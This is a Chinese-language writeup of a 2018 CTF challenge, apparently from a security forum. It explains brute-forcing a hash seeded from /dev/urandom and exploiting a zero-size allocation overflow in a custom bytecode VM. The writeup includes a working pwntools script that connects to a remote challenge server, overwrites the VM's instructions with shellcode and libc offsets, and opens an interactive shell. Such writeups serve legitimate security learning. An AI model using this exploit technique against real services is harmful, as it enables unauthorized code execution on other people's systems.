-
-
[原创]CTF2018第六题writeup
-
发表于:
2018-6-28 11:47
3823
-
1.爆力破解
通过/dev/urandom获取随机数,再对随机数进行hash计算.直接爆破解决.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | def explode_hash( hash ):
for i in range ( 0x2B - 1 , 0x5B ):
for j in range ( 0x2B - 1 , 0x5B ):
for k in range ( 0x2B - 1 , 0x5B ):
for l in range ( 0x2B - 1 , 0x5B ):
a = i | j<< 8 | k<< 16 | l << 24
a = ( 0x343FD * a + 0x269EC3 )& 0xFFFFFFFF
b = (a) | ((( 0x343FD * a + 0x269EC3 )& 0xFFFFFFFF )<< 32 )
c = 0
d = b
for m in range ( 0 , 8 ):
c = c * 0x83 + (d& 0xFF )
c = c& 0xFFFFFFFF
d = d >> 8
if c = = hash :
return hex (b)
|
唯一的问题是alarm(0x3C)有个时间限制,在虚拟机机里跑,一直会超时,不太友好.
2.图灵完备vm
作者实现了一套图灵完备的解析器,可以实现栈上任意写与任意执行的功能.解析器总共有23个指令,预定义指令用于执行 Malloc功能.
Malloc功能可以获取0x80字节的数据,但是输入的size如果为0,就可以写入任意大小的数据,而预定义指令正好在输入缓冲区的0x80之后.
所以可以覆盖预定义指令,执行我们自己的指令.那么问题就很简章了,只需要理解字节码.
这里只说明对shellcode有用的字节码,
0x01 XX:取值XX
0x13:取栈上数据
0x05:相减
0x06:相加
0x04:取输入数据
0x14:保存数据至栈
0x16:执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import *
context.log_level = 'debug'
p = remote( '139.199.99.130' , 8989 )
p.recvuntil( 'Hash:' )
hash = int (p.recvline(), 16 )
key = p64( int ( raw_input ()[ 0 : - 1 ], 16 ))
p.sendline(key)
p.sendline( '1' )
p.sendline( '0' )
shellcode = '\x01\x0D\x13' + '\x01\x20\x04' + '\x05' + '\x01\x08\x14' + \
'\x01\x0D\x13' + '\x01\x28\x04' + '\x06' + '\x01\x09\x14' + \
'\x01\x0D\x13' + '\x01\x30\x04' + '\x05' + '\x16'
payload = 'A' * 0x80 + shellcode + ( 0x20 - len (shellcode)) * 'B' + p64( 0xF72C0 - 0x45390 ) + p64( 0x18CD57 - 0xF72C0 ) + p64( 0xF72C0 - 0x21102 )
p.sendline(payload)
p.recv()
p.sendline( '1' )
p.interactive()
|
[注意]看雪招聘,专注安全领域的专业人才平台!